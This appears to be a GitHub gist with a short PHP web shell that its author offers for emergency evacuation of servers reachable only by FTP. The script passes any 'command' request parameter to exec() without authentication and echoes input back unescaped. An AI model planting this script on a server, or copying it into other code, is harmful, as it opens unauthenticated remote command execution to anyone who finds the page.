Skip to content

Instantly share code, notes, and snippets.

@hom3chuk
Created February 5, 2013 11:40
Show Gist options
  • Save hom3chuk/4713935 to your computer and use it in GitHub Desktop.
Save hom3chuk/4713935 to your computer and use it in GitHub Desktop.
Quick PHP-shell for emergency server with No-SSH (i.e. FTP-only) evacuation
<?php
/**
* Created by JetBrains PhpStorm.
* User: chekan
* Date: 2/5/13
* Time: 5:53 PM
* To change this template use File | Settings | File Templates.
*/
if ( isset($_REQUEST['command']) ){
$output = array();
exec($_REQUEST['command'], $output);
}
?>
<html>
<head>
<title>welcome!</title>
</head>
<body>
<form action="" method="post">
<input type="text" value="<?= (isset($_POST['command'])?$_POST['command'] : '') ?>" name="command" />
<input type="submit" value="Submit" />
</form>
<?php
if ( !empty($output) ){
echo '<pre>' . implode("\n", $output) . '</pre>';
}
?>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment